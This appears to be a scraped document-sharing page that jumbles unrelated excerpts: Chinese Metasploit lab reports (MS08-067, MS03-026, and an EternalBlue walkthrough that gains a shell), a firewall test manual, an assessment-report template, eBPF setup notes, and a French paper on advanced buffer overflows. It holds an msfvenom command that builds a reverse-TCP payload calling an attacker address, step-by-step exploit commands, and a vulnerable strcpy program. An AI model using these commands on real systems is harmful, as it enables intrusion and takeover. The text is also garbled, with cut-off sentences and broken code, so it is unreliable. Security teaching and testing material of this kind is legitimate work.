Advanced exploitation of buffer overflow
- 格式:pdf
- 大小:280.50 KB
- 文档页数:92
实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。
显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。
namap扫描的结果里报告发现MS08-067:DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。
在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
ctool程序开发常用工具用法在C语言程序开发中,有许多工具可以提高开发效率、调试程序以及进行性能优化。
以下是一些常用的C语言开发工具及其用法,供参考:1.编译器(gcc):-用法:`gcc source.c-o output`-说明:用于编译C源代码,生成可执行文件。
可以通过参数`-o`指定输出文件名。
2.调试器(gdb):-用法:`gdb executable`-说明:用于调试程序,支持设置断点、查看变量值等操作。
3.性能分析器(gprof):-用法:`gprof executable`-说明:用于分析程序的性能,生成函数调用关系和运行时间统计。
4.动态分析工具(Valgrind):-用法:`valgrind--leak-check=full executable`-说明:用于检测内存泄漏和执行时错误,提供详细的报告。
5.版本控制工具(Git):-用法:`git init`,`git add`,`git commit`,等-说明:用于版本控制,追踪代码变更,支持多人协作。
6.构建工具(Make):-用法:`make target`-说明:用于自动化构建,管理项目中的编译、链接等任务。
7.静态代码分析工具(Cppcheck):-用法:`cppcheck source.c`-说明:用于检查代码中的潜在问题,如未定义的变量、内存泄漏等。
8.文档生成工具(Doxygen):-用法:`doxygen config_file`-说明:用于自动生成代码文档,包括函数、变量的说明和关系图。
9.单元测试框架(Check、Unity):-用法:根据框架不同,编写测试用例和运行测试。
-说明:用于进行单元测试,确保代码的功能正常。
10.交叉编译工具链:-用法:根据目标平台选择相应的交叉编译工具链。
-说明:用于在一个平台上为另一个平台生成可执行文件。
这些工具可以根据具体项目需求选择使用,能够提高开发效率、代码质量和程序性能。
缓冲区溢出攻击详细讲解缓冲区溢出(Buffer Overflow)是计算机安全领域既经典而又古老的话题。
随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。
其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。
本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。
不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。
接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。
一、代码 <=> 数据顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。
通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。
但是如果有人精心构造溢出数据的容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。
缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区的,因此所谓缓冲区可以更抽象地理解为一段可读写的存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写存中已经被蓄意设定好的恶意代码。
按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在存的,同样程序的数据也在存中,因此直接从存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。
图1 进程地址空间分布图1是进程地址空间分布的简单表示。
代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(核态)寻址。
数据段存储了用户程序的全局变量,文字池等。
缓冲区溢出攻击的基本原理1. 引言缓冲区溢出(Buffer Overflow)攻击是指攻击者利用程序设计中的缺陷,向缓冲区写入超出其容量的数据,从而覆盖到其他内存区域或者执行恶意代码。
这种攻击方式在软件开发和网络安全领域中被广泛研究,属于一种常见的安全漏洞。
让我们通过以下几个步骤深入了解缓冲区溢出攻击的基本原理。
2. 缓冲区溢出2.1 缓冲区缓冲区(Buffer)是计算机内存中一段预留给程序使用的存储区域,用于临时保存数据。
在C和C++等低级编程语言中,缓冲区通常是以数组的形式存在。
2.2 缓冲区溢出当程序收到输入数据超过预分配的缓冲区容量时,数据会溢出到相邻的内存区域。
由于这些相邻的内存区域往往存放着重要的数据或者程序代码,攻击者可以借此修改程序的行为,造成安全漏洞。
3. 缓冲区溢出攻击的过程3.1 寻找目标程序攻击者首先需要找到目标程序中存在缓冲区溢出漏洞的函数,一般是在程序中存在对用户输入进行处理的函数。
这些函数通常是目标程序接收外部输入的入口。
3.2 构造恶意输入攻击者构造一段特定的输入数据,超过目标程序预分配的缓冲区大小。
这段输入数据中通常包含恶意代码,也可以包含用于修改程序行为的特定数据。
3.3 栈溢出攻击者向目标程序发送构造的恶意数据。
当目标程序将恶意数据输入到缓冲区时,超过缓冲区容量的数据将溢出到栈(Stack)中。
3.4 覆盖返回地址栈是一种用于存储函数调用的内存结构,其中包含函数的返回地址。
攻击者通过溢出栈的方式,将恶意数据覆盖到返回地址上。
3.5 执行恶意代码当目标程序执行函数返回的时候,会跳转到被覆盖的恶意代码的地址。
这样,攻击者就成功地执行了恶意代码,从而实现了攻击的目的。
4. 防御机制为了有效防范缓冲区溢出攻击,开发者和安全工程师可以采取一些常见的防御措施。
4.1 输入验证合理的输入验证是防范缓冲区溢出攻击的基础。
开发者应该对用户输入的数据进行有效的检查和过滤,确保其不会超过预分配的缓冲区大小。
测试手册(H3C NGFW)Copyright © 2015杭州华三通信技术有限公司版权所有,保留一切权利。
非经本公司书面许可,任何单位和个人不得擅自摘抄、复制本文档内容的部分或全部,并不得以任何形式传播。
本文档中的信息可能变动,恕不另行通知。
目录T01 设备自身安全性 (2)T02 访问控制 (13)T03 NAT功能 (25)T04 日志功能 (32)T05 可靠性 (37)T06 虚拟化功能 (49)T07 Flood攻击防御功能 (63)T08 特征库升级 (68)T09 IPS攻击防护功能 (69)T10 攻击防护响应方式 (87)T11 IPS自定义攻击 (95)T12 带宽管理功能 (97)T13 数据过滤功能 (125)T14 文件过滤 (144)T15 URL分类过滤功能 (147)T16 病毒防御 (168)T17 链路负载均衡(更详细内容参考链路负载均衡测试手册) (185)T18 服务器负载均衡(更详细内容参考服务器负载均衡测试手册) (187)T19 性能测试 (187)T01 设备自身安全性T01-01 设备安全登录SSH登录过程:(1) 使用SSH方式登录设备,PC地址为1.1.1.2,FW的gi1/0/0为1.1.1.1,三层可达;(2) 通过用户名ssh,密码123456,ssh方式能通过认证并得到设备管理权限。
HTTP登录过程:通过用户名web,密码123456,web方式能通过认证并得到登录设备管理页面。
T01-02 用户身份认证安全T01-03 角色权限控制(2) 用户user2登录防火墙后,拥有所有命令的权限;(3) 用户user3登录防火墙后,能配置ACL相关的配置,但是接口下的配置不能配置;(4) 用户user4登录防火墙后,能配置安全域和域间策略相关配置,但是无法配置ACL;T02 访问控制T02-01 基于IPV4源、目的IP地址,时间段,域名的访问控制(1) 预期结果1当按照上述配置完成后,在不加域间策略情况下,得到预期结果;防火墙上主要配置如下:交换机SW2上的主要配置为:PC的主要配置为:其中PC访问8.8.8.8(untrust)的结果为:(2) 预期结果2在调用trust到untrust的域间策略时,可得预期结果2;防火墙上主要配置为:预期结果为:(3) 预期结果3和预期结果4:修改object-group策略,在调用trust到untrust的域间策略时,可得预期结果3;防火墙上主要配置为:结果只在工作日的11:00到12:00,trust区域才可以访问untrust的8.8.8.8,不在这个时段内,则不能访问,由此可得预期结果4;在调整防火墙的时间至工作的11:30后,trust区域才可以访问untrust的8.8.8.8,由此可得预期结果3T02-02 基于用户身份的识别功能FW关键配置如下:一开始PC到SW2上的8.8.8.8是不通的;修改防火墙的时间落在time-range中后,PC到SW2上的8.8.8.8可以通;T02-03 远程访问控制防火墙、PC机T03 NAT功能T03-01 NAT(PAT)测试T03-02 NAT Server测试T03-03 NAT ALG测试T03-04 NAT Server负载分担T03-05 NAT无限连接方式T03-06 NAT444测试T03-07 NAT FULLCONE测试T04 日志功能T04-01系统日志功能T04-02 NAT\会话二进制日志测试T04-03 NAT444日志测试T04-04 二进制日志主机负载分担测试T05 可靠性T05-01 HA ---Active/Standby模式主要配置如下:查看冗余组信息;显示Reth信息。
报告编号:XXXXXXXXXXX-XXXXX-XX-XXXXXX-XX网络安全等级保护[被测对象名称]等级测评报告委托单位:测评单位:报告时间:年月说明:一、每个备案系统单独出具测评报告。
二、测评报告编号为四组数据。
各组含义和编码规则如下:第一组为系统备案表编号,由2段16位数字组成,可以从公安机关颁发的系统备案证明(或备案回执)上获得。
第1段即备案证明编号的前11位(前6位为受理备案公安机关代码,后5位为受理备案的公安机关给出的备案单位的顺序编号);第2段即备案证明编号的后5位(系统编号)。
第二组为年份,由2位数字组成。
例如09代表2009年。
第三组为测评机构代码,由测评机构推荐证书编号最后六位数字组成。
其中,前两位为省级行政区划数字代码的前两位或行业主管部门编号:00为公安部,11为北京,12为天津,13为河北,14为山西,15为内蒙古,21为辽宁,22为吉林,23为黑龙江,31为上海,32为江苏,33为浙江,34为安徽,35为福建,36为江西,37为山东,41为河南,42为湖北,43为湖南,44为广东,45为广西,46为海南,50为重庆,51为四川,52为贵州,53为云南,54为西藏,61为陕西,62为甘肃,63为青海,64为宁夏,65为新疆,66为新疆兵团。
90为国防科工局,91为国家能源局,92为教育部。
后四位为公安机关或行业主管部门推荐的测评机构顺序号。
第四组为本年度系统测评次数,由两位构成。
例如02表示该系统本年度测评2次。
网络安全等级测评基本信息表声明【填写说明:声明是测评机构对测评报告的有效性前提、测评结论的适用范围以及使用方式等有关事项的陈述。
针对特殊情况下的测评工作,测评机构可在以下建议内容的基础上增加特殊声明。
】本报告是[被测对象名称]的等级测评报告。
本报告是对[被测对象名称]的整体安全性进行检测分析,针对等级测评过程中发现的安全问题,结合风险分析,提出合理化建议。
本报告测评结论的有效性建立在被测评单位提供相关证据的真实性基础之上。
msfvenom 参数使用msfvenom生成恶意代码Msfvenom是Metasploit框架中的一个工具,它可以用来生成各种类型的恶意代码,包括shellcode、payload、exploit等。
在渗透测试和漏洞利用中,msfvenom是一个非常有用的工具,可以帮助渗透测试人员和黑客快速生成恶意代码,以便进行攻击。
在使用msfvenom生成恶意代码时,需要指定一些参数,以便生成符合要求的代码。
下面是一些常用的msfvenom参数:-p:指定payload类型,例如windows/meterpreter/reverse_tcp、linux/x86/meterpreter/reverse_tcp等。
-e:指定编码类型,例如x86/shikata_ga_nai、x86/jmp_call_additive等。
-f:指定输出格式,例如raw、c、python、ruby等。
-o:指定输出文件名,例如payload.exe、payload.py等。
-l:列出可用的payload、encoder、nops等选项。
使用msfvenom生成payload生成payload是msfvenom最常用的功能之一。
payload是指攻击者在攻击目标时要执行的代码,例如反向Shell、Meterpreter等。
下面是一个生成反向Shell的例子:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe上面的命令将生成一个反向Shell的payload,将其保存为payload.exe文件。
LHOST和LPORT参数分别指定了攻击者的IP地址和监听端口。
使用msfvenom生成编码后的payload为了避免被杀毒软件和防火墙检测到,攻击者通常会对payload进行编码。
msfvenom可以生成各种类型的编码器,例如x86/shikata_ga_nai、x86/jmp_call_additive等。
ebpf 环境准备-回复EBPF环境准备EBPF(Extended Berkeley Packet Filter)是一种内核扩展技术,它允许开发人员在内核中注入小型的程序以实现高效的包处理和网络分析。
EBPF 已经成为在现代操作系统中进行网络和系统跟踪的重要工具,因其高性能和安全性而受到广泛关注。
本文将向您介绍如何准备EBPF环境并开始使用它。
步骤一:安装所需工具和库在开始之前,我们需要安装一些必要的工具和库。
首先,我们需要安装LLVM和Clang,它们是EBPF编译器和工具链的一部分。
我们可以使用包管理器来安装它们,例如在Ubuntu上,我们可以运行以下命令:sudo apt-get install llvm clang接下来,我们需要安装libbpf库,它是EBPF的运行时库。
您可以从GitHub 上的libbpf存储库中获取它,并按照其文档中的说明进行安装。
例如,您可以运行以下命令:git clonecd libbpfmakesudo make install步骤二:编写和编译EBPF程序一旦我们安装了所需的工具和库,我们就可以开始编写和编译我们的第一个EBPF程序了。
EBPF程序可以使用C语言编写,因此我们可以使用任何支持C语言的文本编辑器来编写它。
在本例中,我们将创建一个简单的EBPF程序来统计收到的数据包数量。
首先,我们需要创建一个名为`packet_counter.c`的文件,并在其中编写以下代码:c#include <linux/bpf.h>SEC("socket")int packet_counter(struct __sk_buff *skb){int key = 0;__u64 *value;value = bpf_map_lookup_elem(&packet_map, &key);if (value)*value += 1;return XDP_PASS;}在这个简单的EBPF程序中,我们首先定义了一个名为`packet_counter`的函数,它接收一个名为`skb`的数据包作为参数。
实验七缓冲区溢出攻击实验
一、实验目的
1、理解缓冲区溢出攻击的原理;
2、获取目标主机的最高权限,利用远程桌面登录。
二、实验环境
1、实验环境:Windows 2000/2003的目标主机,通过虚拟机加载;
2、软件工具:metasploit frmamework。
三、实验步骤
1.攻击目标
Windows 2000主机
2.攻击开始
步骤1:使用nmap对目标进行端口扫描
步骤2:目标开启135端口,可利用MS03-026漏洞进行入侵,用到的工具是metasploit frmamework。
安装完毕后选择console模式
(1)查询MS03-026漏洞所对应的溢出模块
(2)进入此模块
(3)设置有效载荷为执行特定命令,配置相关参数
(4)执行攻击命令,成功进入目标系统
(5)添加系统账号并把它加入系统管理员组中
四、实验小结:
缓冲区溢出,是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至
系统的控制权。
缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。
一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。
通过该实验我了解到通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
bof 编译-回复BOF(Buffer Overflow)是计算机安全中的一种常见攻击手法,它利用了程序设计漏洞来改变程序的正常执行流程。
本文将深入介绍BOF的原理和编译过程,并详细解答与BOF相关的问题。
1. 什么是BOF?BOF指的是缓冲区溢出(Buffer Overflow),是一种攻击手法。
它利用了程序在处理输入时对缓冲区的错误处理,导致缓冲区溢出的漏洞。
通过向缓冲区写入超出其分配空间的数据,攻击者可以覆盖其他程序数据,改变程序的执行流程,甚至执行恶意代码。
2. BOF的原理是什么?BOF的原理是利用程序中的缓冲区溢出漏洞,覆盖其他数据或改变程序执行流程。
当程序处理用户输入时,如果没有对输入进行有效的边界检查或长度限制,攻击者就可以输入超出分配空间的数据,将恶意代码注入到程序中。
3. BOF攻击可以实现哪些目标?BOF攻击可以实现多种目标,包括但不限于以下几种:- 修改变量的值:通过覆盖其他程序数据,攻击者可以改变变量的值,导致程序产生不可预期的结果。
- 改变执行流程:攻击者可以覆盖函数返回地址或改变栈布局,从而改变程序的执行流程,执行恶意代码。
- 执行恶意代码:通过改变程序的执行流程,攻击者可以注入自己编写的恶意代码,进而获得系统权限或者执行其他攻击行为。
4. 如何编译一个简单的BOF攻击程序?下面是一个示例程序的C代码,用于演示BOF攻击的原理:c#include <stdio.h>void vuln_function(char* input) {char buffer[10];strcpy(buffer, input);}int main() {char input[20];printf("Enter your name: ");scanf("s", input);vuln_function(input);printf("Hello, s!\n", input);return 0;}在UNIX环境下,使用以下命令将代码编译为可执行文件:gcc -o bof_example bof_example.c编译完成后,即可得到名为`bof_example`的可执行文件。
bof 编译-回复题目:编译(BOF)编译(Buffer Overflow,缓冲区溢出)是一种既经典又常见的计算机安全漏洞。
通过利用缓冲区溢出漏洞,黑客可以在受攻击的系统上执行恶意代码,获取未授权的访问权限。
本文将一步一步回答关于BOF编译的问题,并介绍如何防止和修复这种安全漏洞。
1. 什么是BOF(缓冲区溢出)?BOF是指在输入的数据超出目标变量所能容纳的空间限制时,数据将溢出到相邻的内存区域。
这种溢出可能导致目标变量的值被修改,从而控制程序的行为。
2. 缓冲区溢出是如何发生的?缓冲区溢出通常发生在程序中使用了不安全的函数,例如strcpy()、sprintf()等。
当用户输入超过目标变量预留的空间时,多余的数据将溢出到相邻的内存区域。
3. BOF攻击的目的是什么?BOF攻击旨在利用溢出的缓冲区来覆盖程序执行的内存,从而控制程序的行为。
黑客可以通过修改返回地址、注入恶意代码或者执行特定函数等方式,从而实现操纵受攻击系统的目的。
4. 如何识别和利用BOF漏洞?为了识别和利用BOF漏洞,黑客通常利用边界检查的缺陷。
他们会通过发送大量数据来触发缓冲区溢出,从而覆盖目标变量的值并执行特定操作(如跳转到注入的恶意代码)。
5. 如何防止BOF攻击?为了防止BOF攻击,开发人员应该采取以下安全措施:- 在编码过程中,使用安全的字符串函数,例如strncpy()、snprintf(),以确保输入的长度在目标变量的范围内。
- 在程序中实施输入合法性检查,限制输入的长度和内容。
- 使用堆栈保护机制(如栈保护、栈随机化等)来阻止缓冲区溢出。
- 定期更新和修补程序,以修复发现的任何BOF漏洞。
6. 如何修复已经发生的BOF漏洞?修复已经发生的BOF漏洞有两种主要方法:- 对于存在缓冲区溢出的函数,可以使用安全的替代函数来替换它们,如strncpy()、snprintf()等。
- 在代码中进行修补,确保输入合法性检查和内存溢出防护措施得到恰当的实施。
ms17-010永恒之蓝漏洞验证与利⽤如何发现永恒之蓝?利⽤漏洞之前,⾸先是要发现漏洞,那么我们在做测试的时候如何去发现漏洞呢?今天我给⼤家介绍⼀款开源免费的扫描⼯具Nessus。
Nessus号称是世界上最流⾏的漏洞扫描程序,通常包括成千上万的最新的漏洞,各种各样的扫描选项,及易于使⽤的图形界⾯和有效的报告。
在这⾥我们仅需要验证⼀台主机是否存在相印的漏洞即可。
下载地址:利⽤nessus发现永恒之蓝漏洞我在本地提前部署了未装任何安全杀毒软件、未进⾏过补丁升级的靶机作为测试环境。
以下为测试环境:Win7靶机:192.168.80.101Kali攻击机: 192.168.80.100Nessus:192.168.80.88下图为对靶机扫描的部分漏洞(摘取中⾼危漏洞)验证漏洞验证漏洞环节就需要我们⽤到kali攻击机⾥⾯的metaploit⼯具root@kali:~# msfconsole \\打开msfmsf5 > search MS17-010msf5 > use auxiliary/scanner/smb/smb_ms17_010msf5 auxiliary(scanner/smb/smb_ms17_010) > show optionsmsf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.80.101msf5 auxiliary(scanner/smb/smb_ms17_010) > show options \msf5 auxiliary(scanner/smb/smb_ms17_010) > run \\执⾏=====================以上验证了⽬标靶机存在永恒之蓝漏洞======================= msf5 > use exploit/windows/smb/ms17_010_eternalbluemsf5 exploit(windows/smb/ms17_010_eternalblue) > show optionsmsf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.80.101msf5 exploit(windows/smb/ms17_010_eternalblue) > run成功获取靶机的shellC:\Windows\system32>chcp 65001获取到shell之后就可以为所欲为啦,你就是这台机器的主⼈。
最时尚的缓冲区溢出目标原文:《Modern Overflow Targets》By Eric Wimberley,Nathan Harrison 在当今的操作系统中,内存缺陷漏洞已经越来越难挖掘了,栈保护措施已经使原来的缓冲区溢出利用方法(将NOP块和shellcode写入到缓冲区中,并用缓冲区内的地址覆盖EIP所指向的地址)失效了。
如果没有某种程度的信息泄露,在地址空间分布随机化(ASLR)和栈cookies 的双重保护下,用传统方法实际上已经很难对远程系统执行有效的溢出攻击了。
不过,现在仍存在可被利用的栈输入/输出漏洞。
本文描述了一些常用缓冲区溢出技术,这些技术不会触发栈的__stack_chk_fail保护,或至少到目前为止还有效的技术。
本文我们不再利用新技术通过修改EIP来修改程序的执行流程,而是将精力集中到一系列新的目标中。
同时,本文也会讨论GCC 4.6及之前版本中未出现在任何文档中的函数安全模式(function safety model)。
GCC ProPolice记录的异常根据函数安全模型的ProPolice文档,以下情况不会被保护:◆无法被重新排序的结构体,以及函数中的指针是不安全的。
◆将指针变量作为参数时是不安全的。
◆动态分配字符串空间是不安全的。
◆调用trampoline代码的函数是不安全的。
另外,我们也发现以下几种情况也是不安全的:◆如果函数中定义了一块以上缓存且没有正确排序,则至少一块缓存可能在引用前被修改被干扰。
◆参数列表中的指针或原语(primitives)可能被修改,但在canary检测之前被引用。
◆任意结构体原语或缓存都有可能在引用前被修改(包括C++中的栈对象)。
◆位于栈帧低地址中的指向变量的指针是不安全的,因为数据在被引用前可能会先被覆盖。
这里我们不再局限于当前栈帧中的本地变量、指针(如函数指针)和缓存等。
IBM在关于函数安全模型的文档中假定攻击类型都是传统的栈溢出方式。
高手教你建立安全的ProFTPD导读:proftpd是一个强大的开源的可配置的FTP服务器软件,名称最後的d 字是因为在Linux中是用daemon来称呼。
ProFTPd与Apache的配置方式很相似,因此很容易配置和管理。
PROFTP易于配置,和MySQL和Quota模块可供选择,与他们的完美结合,实现非系统帐户的管理和用户磁盘的限制。
在这里,我们给大家讲解如何建立安全的ProFTPD的。
一.ProFTPD服务面临的安全隐患ProFTPD服务面临的安全风险包括:缓冲区溢出攻击(缓冲区溢出),数据嗅探和匿名访问缺陷。
1.缓冲区溢出攻击很长一段时间,已成为缓冲区溢出的计算机系统中的一个问题。
Morris蠕虫病毒,最著名的案例是利用计算机缓冲区溢出漏洞的攻击发生在1988年11月。
然而,即使其危害是众所周知的缓冲区溢出入侵的重要手段。
成的缓冲区溢出的概念:缓冲区溢出就像一百公斤的货物只能安装在12公斤的容器。
缓冲区溢出漏洞是一个困扰了安全专家30多年的难题。
简单来说,它是由于内存软件中的错误造成的编程机制。
这样的内存错误,黑客可以运行一段恶意代码来破坏系统的正常运行,甚至获得整个系统的控制权。
2.数据嗅探FTP是传统的网络服务程序,在本质上是不安全的,因为在网络上使用明文密码和数据,别有用心的人非常容易就可以截获这些口令和数据。
这些服务程序的安全验证,也是它的弱点,很容易受到“中间人”(人在这中间的)这种方式的攻击。
所谓的“中间人”攻击方式,冒充真正的服务器接收数据传递给服务器作为“中间人”,然后再冒充你把数据传给真正的服务器。
数据传输和服务器之间的转手后做了手脚之后的“中间人”,将是一个非常严重的问题。
可以截获这些口令蛮力的方法。
另外,使用sniffer程序监视网络封包捕捉FTP开始的会话信息,可以很容易被截获root密码。
3.匿名访问缺陷匿名访问FTP服务,广泛的支持,但没有真正的身份验证匿名FTP,所以很容易为入侵者提供一个访问通道,缓冲区溢出攻击,将导致非常严重的后果。
Exploitation avancée de buffer overflows-Olivier GAY,Security and Cryptography Laboratory(LASEC)Département d’Informatique de l’EPFLolivier.gay@epfl.ch28juin2002Table des matières1.Introduction42.Généralités62.1Le format ELF et l’organisation de la mémoire62.2L’appel de fonction avec le compilateur gcc83.Stack Overflows113.1Historique113.2Définition113.3Exploitation123.4Propriétés des shellcodes173.5Programmes suid183.6Les fonctions vulnérables203.7Stack Overflows sous d’autres architectures214.Variables d’environnement235.Off-by-one overflows276.Le piège des functions strn*()336.1Strncpy()non-null termination336.2Strncat()poisoned NULL byte356.3Erreur de type casting avec la fonction strncat()366.4Variations de ces vulnérabilités38 famille des fonctions*scanf()et*sprintf()407.1Erreurs sur la taille maximale407.2Le cas de snprintf()417.3Exemples d’erreurs de patch d’un overflow418.Remote exploitation439.RET-into-libc529.1RET-into-libc simple529.2Le problème des pages exécutables sous x86569.3Le patch kernel Openwall569.4Bypasser Openwall589.4.1ELF dynamic linking589.4.2RET-into-PLT599.5RET-into-libc chaîné619.6RET-into-libc sur d’autres architectures6510.Heap Overflow6610.1Data based overflow et la section DTORS6610.2BSS based overflow et les atexit structures6810.3Pointeurs de fonctions7210.4Longjmp buffers7510.5Ecrasement de pointeur et GOT7710.5.1Les protections Stackguard et Stackshield8010.6Autres variables potentiellement intéressantesàécraser8010.7Malloc()chunk corruption8110.7.1Doug Lea Malloc8110.7.2La macro unlink()8110.7.3Le programme vulnérable8310.7.4Exploitation avec unlink()8310.7.5L’Exploit et les malloc hooks8411.Conclusion8812.Bibliographie89 Annexe A–Exercices sur les buffer overflows90 Annexe B–Les codes utilisés dans le rapport-1.Introduction«Le commencement de toutes lessciences,c'est l'étonnement de ceque les choses sont ce qu'ellessont.»,AristoteLes problèmes liés aux buffer overflows représentent60%des annonces de sécuritédu CERT ces dernière années.Il s’agit actuellement du vecteur d’attaques le plus courant dans les intrusions des systèmes informatiques et cela particulièrement pour les attaquesàdistances.Uneétude sur la liste de diffusion Bugtraq en1999a révéléqu’approximativement2/3des personnes inscrites pensaient que les buffers overflowsétaient les causes premières des failles de sécuritéinformatique.Malgréque ces failles aientétédiscutées et expliquées,des erreurs de ce types surgissent encore fréquemment dans les listes de diffusion consacréesàla sécurité.En effet certains overflows,dûàleur nature difficilement détectable et dans certains cas même pour des programmeurs chevronnés,sont encore présents dans les programmes qui nous entourent.Les erreurs de code ontétéàla tête de catastrophes importantes:parmi les plus connus,il y a l’échec de la mission du Mars Climate Orbiter ou le crash40secondes seulement après le démarrage de la séquence de vol de la première Ariane5(Ariane 501)en1996,après un développement d’un coût de quelques7milliards de dollars(le problèmeétait un overflow lors de la conversion d’un integer64bitsàun integer signéde16bits).Des estimations nous indiquent qu’il y a entre5et15erreurs pour1000lignes de code.Les programmes deviennent maintenant de plus en plus gros en taille et de plus en dialectique est implacable car plus un programme est gros,plus il est complexe,plus le nombre d’erreurs augmente et donc plus il y a d’erreurs de sécurité. Tout porte doncàpenser que les buffer overflows ne vont pas disparaître dans les annéesàvenir mais que leur nombre va plutôt augmenter.Depuis la sortie en1996,de l'article d’Aleph One dans le magazineéléctronique Phrack,qui détaille cette catégorie de faille,plusieurs recherches ontétéeffectuées pour contrer ces attaques.Bien qu’il existe une multitude d’articles portant sur les traditionnels stack overflows,il n’y en a malheureusement que peu qui traitent des attaques plusévoluées sur les buffer overflows.Nous essayons dans cet article d’expliquer les méthodes les plus récentes d’exploitation avancée de buffer overflows. Pour ce faire notre article se dirige sur plusieurs axes et décrit:-quelles constructions de codes sont susceptibles d’induire des buffer overflows dans des programmes-l’incidence des segments mémoires(stack,heap,bss…)oùont lieu les débordements sur l’exploitabilitéde la faille-les différentes méthodes pour rediriger le flux d’exécution du programme-comment contourner certaines protections mises en place pour empêcher l’exploitation des buffer overflowsChaque chapitre est généralement accompagnéde code qui démontre une technique d’exploitation ou d’exemples réels de programmes qui contenait un type d’overflow désastreux pour la sécurité.Les exemples de codes misàdisposition se retrouvent enb fin de ce rapport(dans la partie Annexes)et peuventêtre compilés avec Linux sur les processeurs x86.Des notes sont indiquées dans les chapitres pour expliquer les incidences que peuvent avoir certaines différences liées au processeur,au compilateur ou au système d’exploitation sur l’exploitation d’une faille.2.Généralités“Hacking is,very simply,askinga lot of questions and refusing tostop asking”,Emmanuel GoldsteinPour créer des exploits et comprendre leur action,il est nécessaire de connaître plusieurs concepts des Systèmes d’Exploitation,comme l'organisation de la mémoire, la structure des fichiers exécutables et les phases de la compilation.Nous détaillerons ces principes dans ce chapitre pour le système d'exploitation Linux.2.1Le format ELF et l’organisation de la mémoireGrâce au principe de mémoire virtuelle chaque programme quand il est exécutéobtient un espace mémoire entièrement isolé.La mémoire est adressée par mots(4 octets)et couvre l'espace d'adresse de0x00000000-0xffffffff soit4Giga octets adressables.Le système d’exploitation Linux utilise,pour les programmes exécutables,le format ELF1(Executable Linking Format)qui est composéde plusieurs sections.L'espace virtuel est divisée en deux zones:l'espace user(0x00000000-0xbfffffff)et l'espace kernel(0xc0000000-0xffffffff).Contrairement au kernel avec l'espace user, un processus user ne peut pas accéderàl'espace kernel.Nous allons surtout détailler cet espace user car c'est lui qui nous intéresse.Un exécutable ELF est transforméen une image processus par le program loader. Pour créer cette image en mémoire,le program loader va mapper en mémoire tous les loadable segments de l'exécutables et des librairies requises au moyen de l'appel système mmap().Les exécutables sont chargésàl’adresse mémoire fixe0x080480002 appelée«adresse de base».La figure1montre les sections principales d'un programme en mé section .text de la figure correspond au code du programme,c'est-à-dire aux instructions. Dans la section.data sont placées les données globales initialisées(dont les valeurs sont connusàla compilation)et dans la section.bss les données globales non-initialisées.Ces deux zones sont réservées et connues dès la compilation.Une variable locale static(la définition de la variable est précédémot-cléstatic)initialisée se retrouve dans la section.data et une variable locale static non initialisée se retrouve dans la section.bss.1Ce format est supportépar la majoritédes systèmes d’exploitation Unix:FreeBSD,IRIX,NetBSD, Solaris ou UnixWare2Pour comparaison,cette adresse est par exemple0x10000pour les exécutables Sparc V8(32bits)et 0x100000000pour les exécutables Sparc V9(64bits)La pile quantàelle contient les variables locales automatiques(par 